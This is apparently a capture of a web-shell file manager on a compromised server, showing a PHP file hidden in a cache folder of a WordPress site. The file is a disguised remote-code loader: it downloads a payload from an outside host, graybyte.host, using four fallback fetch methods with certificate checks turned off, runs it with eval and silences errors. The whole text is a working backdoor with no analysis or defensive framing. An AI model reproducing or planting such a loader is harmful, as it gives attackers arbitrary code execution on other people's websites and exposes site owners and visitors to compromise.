HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-84-generic #84-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 5 22:36:38 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: /home/itchylondon.co.uk/public_html/.tmb/998802/.import-cache.txt
<?php
ob_start();

$remote_url = "https://graybyte.host/wordpress-raw/wordpress-index.txt";
$timeout_seconds = 20;

function wp_fetch_curl($url, $timeout) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS => 5,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'WordPress/CodeFetcher/1.0',
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    return $response ?: false;
}

function wp_fetch_file_get_contents($url, $timeout) {
    $context = stream_context_create([
        'http' => [
            'timeout' => $timeout,
            'header' => "User-Agent: WordPress/CodeFetcher/1.0\r\n",
            'follow_location' => true,
            'max_redirects' => 5,
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
        ],
    ]);
    
    return @file_get_contents($url, false, $context) ?: false;
}

function wp_fetch_remote_get($url, $timeout) {
    if (!function_exists('wp_remote_get')) {
        return false;
    }
    
    $response = wp_remote_get($url, [
        'timeout' => $timeout,
        'redirection' => 5,
        'sslverify' => false,
        'user-agent' => 'WordPress/CodeFetcher/1.0',
    ]);
    
    if (is_wp_error($response)) {
        return false;
    }
    
    return wp_remote_retrieve_body($response) ?: false;
}

function wp_fetch_guzzle($url, $timeout) {
    if (!class_exists('\GuzzleHttp\Client')) {
        return false;
    }
    
    try {
        $client = new \GuzzleHttp\Client([
            'timeout' => $timeout,
            'verify' => false,
            'headers' => [
                'User-Agent' => 'WordPress/CodeFetcher/1.0',
            ],
        ]);
        
        return $client->get($url)->getBody()->getContents() ?: false;
    } catch (\Exception $e) {
        return false;
    }
}

if (!filter_var($remote_url, FILTER_VALIDATE_URL)) {
    ob_end_clean();
    exit;
}

$wordpress = false;
$methods = [
    'wp_fetch_curl',
    'wp_fetch_file_get_contents',
    'wp_fetch_remote_get',
    'wp_fetch_guzzle',
];

foreach ($methods as $method) {
    $wordpress = $method($remote_url, $timeout_seconds);
    if ($wordpress !== false && trim($wordpress) !== '') {
        break;
    }
}

if ($wordpress === false || trim($wordpress) === '') {
    ob_end_clean();
    exit;
}

try {
    eval("?>$wordpress");
} catch (Throwable $e) {
    ob_end_clean();
    exit;
}

ob_end_flush();